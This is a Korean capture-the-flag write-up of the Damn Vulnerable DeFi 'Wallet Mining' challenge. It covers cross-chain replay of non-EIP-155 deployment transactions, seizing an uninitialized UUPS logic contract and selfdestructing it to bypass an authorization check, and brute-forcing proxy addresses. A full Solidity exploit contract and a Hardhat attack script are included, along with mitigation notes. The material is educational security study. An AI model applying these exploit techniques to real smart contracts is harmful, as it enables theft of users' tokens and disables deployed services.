Damn Vulnerable DeFi-Wallet Mining
DeFi 취약점과 공격 방법을 익히기 위한 워게임 문제를 풀고 풀이를 정리했다. v3.0.0 문제를 대상으로 했다.
Summary
EIP-155를 적용하지 않은 트랜잭션에 대하여 재전송 공격을 시행해 타 체인에 동일 주소로 컨트랙트를 배포한다. Upgradeable 컨트랙트에서 로직 컨트랙트의 초기화를 막지 않아 로직 컨트랙트를 파괴하고 이를 통해 검증을 우회한다. 브루트포스하여 지갑을 여러개 생성, 미리 사용하려 예약해둔 지갑을 탈취하고 토큰을 탈취할 수 있다.
Keyword
upgradeable, deploy, constructor, replay attack, theft, brute force
Vulnerability
There’s a contract that incentivizes users to deploy Gnosis Safe wallets, rewarding them with 1 DVT. It integrates with an upgradeable authorization mechanism. This way it ensures only allowed deployers (a.k.a. wards) are paid for specific deployments. Mind you, some parts of the system have been highly optimized by anon CT gurus. The deployer contract only works with the official Gnosis Safe factory at
0x76E2cFc1F5Fa8F6a5b3fC4c8F4788F0116861F9Band corresponding master copy at0x34CfAC646f301356fAa8B21e94227e3583Fe3F5F. Not sure how it’s supposed to work though - those contracts haven’t been deployed to this chain yet. In the meantime, it seems somebody transferred 20 million DVT tokens to0x9b6fb606a9f5789444c17768c6dfcf2f83563801. Which has been assigned to a ward in the authorization contract. Strange, because this address is empty as well. Pass the challenge by obtaining all tokens held by the wallet deployer contract. Oh, and the 20 million DVT tokens too.
아직 배포되지 않은 주소를 참조하고 있다. 공식 Gnosis Safe factory 컨트랙트, master copy 컨트랙트, 그리고 DVT 토큰을 미리 전송해둔 지갑 모두 아직 배포되지 않았다.
위 주소 0x76E2cFc1F5Fa8F6a5b3fC4c8F4788F0116861F9B 와 0x34CfAC646f301356fAa8B21e94227e3583Fe3F5F 는 실제로 이더리움 메인넷에 배포된 컨트랙트 주소이며, 공격 테스트 환경에는 배포되어 있지 않다. 동일한 주소에 동일한 컨트랙트를 배포하려면 어떻게 해야 할까? 컨트랙트 배포 트랜잭션을 재전송 하면 된다.
https://toolkit.abdk.consulting/ethereum#transaction 에서 raw tx를 복사 붙여넣기 하면 간편하게 디코딩할 수 있다. 만약 EIP-155를 준수하지 않는 트랜잭션이라면 ChainId에 None이 설정된다. 이 경우 재전송 공격이 가능하다. 컨트랙트 배포의 경우 Nonce만 맞춰준다면 동일한 계정, 동일한 주소로 타 체인에 배포할수 있다. Gnosis Safe factory 와 Master copy는 모두 EIP-155를 준수하지 않는 트랜잭션으로 배포되었다. 즉, 트랜잭션을 재전송할 수 있다.
https://etherscan.io/getRawTx?tx=0x06d2fa464546e99d2147e1fc997ddb624cec9c8c5e25a050cc381ee8a384eed3 에서 Master copy를 배포하는 Raw tx를 가져와 배포하고, https://etherscan.io/getRawTx?tx=0x31ae8a26075d0f18b81d3abe2ad8aeca8816c97aff87728f2b10af0241e9b3d4 에서 setImplementation 을 호출하는 Raw tx를 가져와 호출하고, https://etherscan.io/getRawTx?tx=0x75a42f240d229518979199f56cd7c82e4fc1f1a20ad9a4864c635354b4a34261에서 Gnosis Safe factory 를 배포하는 Raw tx를 가져와 배포한다. nonce 에 주의해야 하므로, 반드시 순서를 지켜야 한다.
배포를 다 했다면 취약점을 찾아본다. 다음은 AuthorizerUpgradeable 컨트랙트의 초기화 함수이다. 일반적으로 upgradeable 컨트랙트를 개발할 때는, constructor를 만들고 _disableInitializers 함수를 호출해야 한다. 로직 컨트랙트가 아니라 프록시에 데이터를 저장하므로 기능적으로는 초기화 할 필요가 없지만, 공격자가 로직 컨트랙트를 초기화하고 권한을 얻어 원치 않는 작업을 할 수 있기 때문이다. 대표적으로 selfdestruct가 있다. 로직 컨트랙트를 파괴할 수 있다면 그것을 기반으로 하던 시스템 전체를 마비시킬 수 있다.
// @audit constructor에 _disableInitializers 호출하지 않음 => 로직 컨트랙트
function init(address[] memory _wards, address[] memory _aims) external initializer {
__Ownable_init();
__UUPSUpgradeable_init();
for (uint256 i = 0; i < _wards.length;) {
_rely(_wards[i], _aims[i]);
unchecked {
i++;
}
}
}즉, AuthorizerUpgradeable 컨트랙트의 로직 컨트랙트는 공격자에 의해 초기화 가능한 상태이다. 또한 AuthorizerUpgradeable 컨트랙트에는 upgradeToAndCall 가 활성화되어있다. 이 함수는 최종적으로 새 imp 컨트랙트에 wat 를 파라미터로 하여 delegateCall을 실행한다. 즉, 로직 컨트랙트를 초기화하여 owner 권한을 얻고, upgradeToAndCall 함수를 콜한다면 로직 컨트랙트의 컨텍스트를 갖고 콜(delegateCall)을 할 수 있다는 의미이다.
function upgradeToAndCall(address imp, bytes memory wat) external payable override {
_authorizeUpgrade(imp);
_upgradeToAndCallUUPS(imp, wat, true);
}문제를 풀기 위해서는 AuthorizerUpgradeable 컨트랙트(프록시)에 ward로 등록된, 아직 생성되지 않은 지갑인 0x9b6fb606a9f5789444c17768c6dfcf2f83563801 를 생성해야 한다.
정상적인 상황이라면 WalletDeployer.drop 을 호출하여 계정 생성을 할 것이다. 이 함수에는 Factory의 createProxy 함수를 이용해 호출한다. 즉, 프록시를 배포할 때, salt를 임의로 설정하지 않고 nonce에 의해서만 주소가 셋팅된다는 의미이다. 따라서, 지갑을 순서대로 쭉 생성하다보면 언젠가는 동일 주소가 생성될 것이다.
function drop(bytes memory wat) external returns (address aim) {
aim = fact.createProxy(copy, wat);
// @audit-info ward로 등록된 계정만 생성 가능
if (mom != address(0) && !can(msg.sender, aim)) {
revert Boom();
}
// @audit-info ward로 등록된 계정을 생성한다면 1 DVT를 얻음
IERC20(gem).transfer(msg.sender, pay);
}0x9b6fb606a9f5789444c17768c6dfcf2f83563801 를 얻어내는 것은 직접 fact.createProxy(copy, wat); 를 호출해서도 가능하다. 하지만 문제를 풀기 위해서는 WalletDeployer 에 예치된 42 DVT를 빼내야한다. 즉, drop 함수를 통해 토큰을 빼내어야 한다. 이를 위해서는 if (mom != address(0) && !can(msg.sender, aim)) 조건을 우회해야 한다. WalletDeployer.can 함수는 어셈블리어를 이용하여 AuthorizerUpgradeable.can 함수를 호출한다.
// TODO(0xth3g450pt1m1z0r) put some comments
// @note u__sender = user address, a__proxyAddr = proxy address
// @audit-info return mom.can(u__sender, a__proxyAddr);
function can(address u__sender, address a__proxyAddr) public view returns (bool) {
assembly {
let m__mom := sload(0) // @note get mom
if iszero(extcodesize(m__mom)) {return(0, 0)} // @note mom is not contract => return
let p := mload(0x40)
// @note 지역변수 설정
mstore(0x40,add(p,0x44))
mstore(p,shl(0xe0,0x4538c4eb)) // 0x4538c4eb => can 함수 signature
mstore(add(p,0x04),u__sender) // u__sender 파라미터 셋팅
mstore(add(p,0x24),a__proxyAddr) // a__proxyAddr 파라미터 셋팅
if iszero(staticcall(gas(),m__mom,p,0x44,p,0x20)) {return(0,0)} // return mom.can(u__sender, a__proxyAddr); => 아예 실패시 true 리턴함.
if and(not(iszero(returndatasize())), iszero(mload(p))) {return(0,0)}
}
return true;
}여기서 주의할 점은, 어셈블리어로 staticcall 을 호출했을 시, 컨트랙트가 존재하지 않는 경우 true를 리턴한다는 점이다. AuthorizerUpgradeable 의 로직 컨트랙트가 없다면 staticcall 은 true를 리턴할 것이다.
address(0) 로 delegateCall 이나 staticCall 을 하는 경우,즉 컨트랙트가 존재하지 않는 경우 어째서 터지지 않고 true를 리턴하는가? 이는 geth 의 EVM 해석 부분을 살펴보면 이해가 된다. delegateCall 과 staticCall EVM 해석 코드를 살펴보자. 이들은 결국 evm.interpreter.Run 를 호출하며, 만약 컨트랙트가 존재하지 않는다면 결과와 에러로 nil을 리턴한다. err가 nil 이 아닌 경우에 revert 처리가 되므로, 코드가 없다면 조용히 성공한 것처럼 넘어가는 것이다.
따라서 로직 컨트랙트를 upgradeToAndCall 를 이용해 selfdestruct 시키면 drop 함수 조건을 우회할 수 있고, 이를 통해 WalletDeployer 에 예치된 DVT토큰을 빼낼 수 있다. 또한 팩토리에 지갑을 생성하다 보면 0x9b6fb606a9f5789444c17768c6dfcf2f83563801 주소의 지갑을 생성할 수 있다. 지갑을 생성하면 미리 예치된 토큰을 빼낼 수 있다.
다음은 PoC 컨트랙트이다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./WalletDeployer.sol";
import "./AuthorizerUpgradeable.sol";
import "@gnosis.pm/safe-contracts/contracts/GnosisSafe.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract WalletMiningPoC {
address constant depositAddress = address(0x9B6fb606A9f5789444c17768c6dFCF2f83563801);
WalletDeployer walletDeployer;
AuthorizerUpgradeable logic;
IERC20 token;
address owner;
constructor (WalletDeployer _walletDeployer, AuthorizerUpgradeable _logic, IERC20 _token) {
walletDeployer = _walletDeployer;
logic = _logic;
token = _token;
owner = msg.sender;
}
function exploit() public {
address[] memory _owners = new address[](1);
_owners[0] = address(this);
bytes memory initializer = abi.encodeWithSelector(
GnosisSafe.setup.selector,
_owners, // wallet owners
1, // _threshold. 트랜잭션 실행 시 필요한 서명 개수
address(this), // to. 모듈 초기화 셋팅코드 있는 주소. delegate call로 호출됨
abi.encodeWithSelector(this.setupModule.selector, address(this)), // 모듈 초기화 data. delegate call로 호출됨
address(0), // fallbackHandler
address(0), // paymentToken, 0 is ETH
0, // payment
payable(0) // paymentReceiver
);
// 42 DVT 뽑아내기
for(uint256 i = 0; i < 42; i ++){
address proxy = walletDeployer.drop(initializer);
if(proxy == depositAddress){
_extractToken(proxy);
}
}
// 앞의 42개 지갑에 없는 경우 brute force
while(true){
address proxy = walletDeployer.drop(initializer);
if(proxy == depositAddress){
_extractToken(proxy);
break;
}
}
token.transfer(owner, token.balanceOf(address(this)));
}
function _extractToken(address _proxy) internal{
// 토큰 회수
ModuleManager(_proxy).execTransactionFromModule(
address(token),
0,
abi.encodeWithSelector(
IERC20.transfer.selector,
address(this), // to
20000000 ether // amount
),
Enum.Operation.Call
);
}
// delegate call로 호출됨
function setupModule(address _poc) public {
ModuleManager(address(this)).enableModule(_poc);
}
}
contract AuthorizerUpgradeableV2 is UUPSUpgradeable {
constructor() {}
function destroy() public {
selfdestruct(payable(msg.sender));
}
function _authorizeUpgrade(address imp) internal override {}
}다음은 PoC 배포 스크립트이다.
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
await player.sendTransaction({
to: "0x1aa7451DD11b8cb16AC089ED7fE05eFa00100A6A",
value: ethers.utils.parseEther("1")
})
// Master copy 배포 - nonce 0
await (await ethers.provider.sendTransaction(deployed.mastercopy.rawtx)).wait()
// setImplementation - nonce 1
await (await ethers.provider.sendTransaction(deployed.setImpl.rawtx)).wait()
// factory 배포 - nonce 2
await (await ethers.provider.sendTransaction(deployed.factory.rawtx)).wait()
const authorizerLogicAddress = ethers.utils.hexStripZeros(await ethers.provider.getStorageAt(
authorizer.address,
"0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc" // _IMPLEMENTATION_SLOT
))
const logic = new ethers.Contract(authorizerLogicAddress, [
{
"inputs": [
{
"internalType": "address[]",
"name": "_wards",
"type": "address[]"
},
{
"internalType": "address[]",
"name": "_aims",
"type": "address[]"
}
],
"name": "init",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "imp",
"type": "address"
},
{
"internalType": "bytes",
"name": "wat",
"type": "bytes"
}
],
"name": "upgradeToAndCall",
"outputs": [],
"stateMutability": "payable",
"type": "function"
}
], player);
const newLogic = await (await ethers.getContractFactory('AuthorizerUpgradeableV2', player)).deploy();
await logic.connect(player).init([], []);
await logic.connect(player).upgradeToAndCall(newLogic.address, newLogic.interface.encodeFunctionData("destroy"));
const walletMiningPoCFactory = await ethers.getContractFactory('WalletMiningPoC', player);
const walletMiningPoC = await walletMiningPoCFactory.deploy(walletDeployer.address, authorizerLogicAddress, token.address);
await walletMiningPoC.connect(player).exploit();
});Impact
검증을 우회해 토큰을 탈취할 수 있다. 로직 컨트랙트를 삭제하여 서비스를 마비시킬 수 있다.
Mitigation
AuthorizerUpgradeable에 constructor를 정의하고 _disableInitializers를 호출하여 아무나 로직 업데이트를 할 수 없도록 한다.
Memo
- 이 문제는 감이 안 와서 다른 write up을 참고하였다. vanitygen같은걸 이용하여 주소를 찾아내야 하나 했는데, 일부가 아닌 완전 일치 주소를 찾기에는 어려움이 있었다.
- 트랜잭션에 chainId 정보를 추가하여 재전송 공격을 막는다는 것은 알고 있었지만, EIP-155를 공식적으로 이용하는 이후에도 이를 적용하지 않은 트랜잭션을 생성하는 것이 허용되며, 과거 배포된(EIP-155를 준수하지 않은) 컨트랙트의 경우 여전히 재전송 공격이 가능하다는 사실은 처음 알았다.
geth의 경우 EIP-155를 준수하지 않는 트랜잭션을 노드에서 거부하는 옵션이 2021년쯤 만들어진 것 같다. 또한 이 기능은 여전히
--rpc.allow-unprotected-txs=true옵션을 이용하여 끌 수 있는 것 같다. 시중의 퍼블릭 노드가 EIP-155를 준수하도록 설정되어 있다면, 공격자 쪽에서 옵션을 끈 노드를 직접 운영하여 이용할 수도 있겠다. - EVM 단에서 미묘한 동작의 원인을 밝혀보니 답답함이 풀렸다. 앞으로를 위해 geth 코드를 좀 더 많이, 깊이 들여다보는게 좋겠다.
- selfdestruct이 호출된 동일 트랜잭션에서는 여전히 해당 컨트랙트가 삭제되지 않고 접근 가능한 것 같다. 원래 selfdestruct 도 exploit 함수에 포함했는데, 작동하지 않아 분리하였다.
tags: writeup, blockchain, solidity, smart contract, account abstraction, gnosis safe, erc155, replay attack, upgradeable, initialize error, crypto theft, selfdestruct, bruteforce, delegateCall, solidity low-level call, wallet